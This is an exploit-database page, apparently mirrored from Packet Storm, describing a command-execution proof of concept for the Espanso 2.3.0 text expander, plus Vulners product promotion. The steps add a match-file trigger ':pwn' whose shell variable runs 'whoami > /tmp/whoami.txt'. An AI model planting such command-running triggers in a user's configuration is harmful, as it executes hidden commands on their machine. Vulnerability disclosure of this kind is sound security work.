Lucene search
K

📄 Espanso 2.3.0 Shell Extension Arbitrary Command Execution

🗓️ 13 May 2026 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 53 Views

Espanso 2.3.0 shell extension allows arbitrary command execution by modifying the match file; no restart required.

Code
# Exploit Title: Espanso v2.3.0 - Shell Extension Arbitrary Command
    Execution (RCE)
    # Date: 2026-05-13
    # Exploit Author: Chokri Hammedi
    # Software: https://github.com/espanso/espanso/releases/tag/v2.3.0
    # Vendor: https://espanso.org/
    # Version: 2.3.0
    # Tested on: Linux
    #
    # Description:
    # The Shell extension in Espanso v2.3.0 allows arbitrary command execution.
    # An attacker who can modify the match configuration file can inject shell
    # commands that execute when the user types the trigger. No restart
    required.
    
    
    
    STEPS:
    
    1. Edit the match file:
    
       espanso edit
    
    
    2. Add this trigger:
    
    - trigger: ":pwn" replace: "{{output}}" vars: - name: output type: shell
    params: cmd: "whoami > /tmp/whoami.txt && echo PWNED"
    
    
    3. Open any text editor and type:
    
       :pwn
    
    
    4. Check result:
    
       cat /tmp/whoami.txt
    
       Output: user

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation